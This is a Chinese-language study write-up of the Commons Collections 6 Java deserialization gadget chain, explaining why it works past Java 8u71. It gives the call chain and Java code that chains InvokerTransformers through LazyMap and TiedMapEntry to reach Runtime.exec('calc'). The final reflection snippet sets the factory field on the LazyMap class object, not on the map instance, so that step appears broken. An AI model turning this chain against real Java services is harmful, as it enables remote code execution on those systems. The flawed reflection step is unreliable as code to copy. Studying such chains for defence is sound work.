Commons Collections6
2023-01-04 00:49:36

前言

Java 8u71以后,sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生变化,导致cc1的链子在8u71之后无法使用。
所以cc6就是解决高版本的利用问题,依然是从上下文对LazyMap#get的调用

调用链

1
2
3
4
5
6
7
8
9
10
11
12
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

TiedMapEntryhashcode()下调用getkey()的``getvalue()`

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
1
2
3
public Object getValue() {
return map.get(key);
}

这里的key如果传入LazyMap,就回到了CC1,后面的就都一样了
这里其实理解了CC5+URLDNS就可以解决CC6的流程

从原作者的流程中可以看到链子的入口就是在hashMap
所以前面的流程就是

1
HashSet.readObject()->HashMap.put()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()

看到入口其实就能想到URLDNS

所以这一段的代码写下来就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.ki10Moc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.util.HashMap;
import java.util.Map;

public class test1 {
public static void main(String[] args) throws Exception {
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map map = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "ki10Moc");
HashMap finalmap = new HashMap();
finalmap.put(tiedMapEntry, "value");

}
}

这里有点小问题,就是debug的时候会直接弹出计算器
原因是展示对象集合,IDEA会自动调用toString()方法,可以在设置中关闭
在这里插入图片描述
还有个问题…
Map,put()的时候为了防止直接触发RCE
这里包装到map的参数chainedTransformer可以写成其他的
LazyMap.decorate的factory参数可以写成new ConstantTransformer("xxx")new ConstantTransformer(1)

在这里插入图片描述

后面再通过反射调用,修改factiry的值为chainedTransformer

1
2
3
4
Class<LazyMap> lazyMapClass = LazyMap.class;  
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMapClass, chainedTransformer);